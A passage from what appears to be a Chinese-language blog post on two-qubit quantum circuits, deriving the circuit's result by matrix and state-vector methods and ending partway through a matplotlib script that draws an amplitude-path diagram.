class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>這個做法的好處就是我們只要推導一次，之後就算 Init state 變了還是一樣把整體矩陣左乘即可；缺點是計算量大。</p><h3 id="%E5%90%91%E9%87%8F%E6%B3%95" tabindex="-1" id="向量法">向量法</h3><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>H</mi><msub><mi>q</mi><mn>0</mn></msub></msub></mpadded></mover><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>H</mi><msub><mi>q</mi><mn>1</mn></msub></msub></mpadded></mover><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mspace linebreak="newline"></mspace><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>Z</mi><msub><mi>q</mi><mn>1</mn></msub></msub></mpadded></mover><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><mrow><mi>C</mi><mi>N</mi><mi>O</mi><mi>T</mi></mrow></mpadded></mover><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}00\rangle \xrightarrow{H_{q_0}} \frac{1}{\sqrt{2}}\left( \vert{}00\rangle + \vert{}01\rangle \right)\xrightarrow{H_{q_1}} \frac12 \left( \vert{}00\rangle + \vert{}01\rangle + \vert{}10\rangle + \vert{}11\rangle \right) \\\xrightarrow{Z_{q_1}} \frac12 \left( \vert{}00\rangle + \vert{}01\rangle - \vert{}10\rangle - \vert{}11\rangle \right)\xrightarrow{CNOT} \frac12 \left( \vert{}00\rangle + \vert{}11\rangle - \vert{}10\rangle - \vert{}01\rangle \right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.3503em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0813em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">0</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0813em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">1</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1.1113em;vertical-align:-0.011em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0715em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">1</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">C</span><span class="mord mathnormal mtight" style="margin-right:0.109em;">N</span><span class="mord mathnormal mtight" style="margin-right:0.0278em;">O</span><span class="mord mathnormal mtight" style="margin-right:0.1389em;">T</span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><h3 id="%E9%80%A3%E9%80%A3%E7%9C%8B" tabindex="-1" id="連連看">連連看</h3><p><img src="maze_combined.png" alt="maze_combined.png"></p><details><summary>AI 好讚 生圖的扣的</summary><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> matplotlib<span class="token punctuation">.</span>pyplot <span class="token keyword">as</span> plt<span class="token comment"># 定義迷宮方法顏色常數</span>COLOR_MAP <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">'blue'</span><span class="token punctuation">:</span> <span class="token string">'#3498db'</span><span class="token punctuation">,</span>    <span class="token comment"># 正實數振幅 (+1)</span>    <span class="token string">'red'</span><span class="token punctuation">:</span> <span class="token string">'#e74c3c'</span><span class="token punctuation">,</span>     <span class="token comment"># 負實數振幅 (-1)</span><span class="token punctuation">&#125;</span>fig<span class="token punctuation">,</span> ax <span class="token operator">=</span> plt<span class="token punctuation">.</span>subplots<span class="token punctuation">(</span>figsize<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">14</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 建立 5 個時間點的 X 軸位置 (0 到 4)</span>x_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span>labels <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">]</span>y_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span> <span class="token comment"># 由上至下排列</span>label_to_y <span class="token operator">=</span> <span class="token punctuation">&#123;</span>l<span class="token punctuation">:</span> y <span class="token keyword">for</span> l<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment"># 1. 繪製所有的黑點節點</span><span class="token keyword">for</span> x <span class="token keyword">in</span> x_positions<span class="token punctuation">:</span>    ax<span class="token punctuation">.</span>scatter<span class="token punctuation">(</span><span class="token punctuation">[</span>x<span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token number">4</span><span class="token punctuation">,</span> y_positions<span class="token punctuation">,</span> color<span class="token operator">=</span><span class="token string">'black'</span><span class="token punctuation">,</span> s<span class="token operator">=</span><span class="token number">100</span><span class="token punctuation">,</span> zorder<span class="token operator">=</span><span class="token number">5</span><span 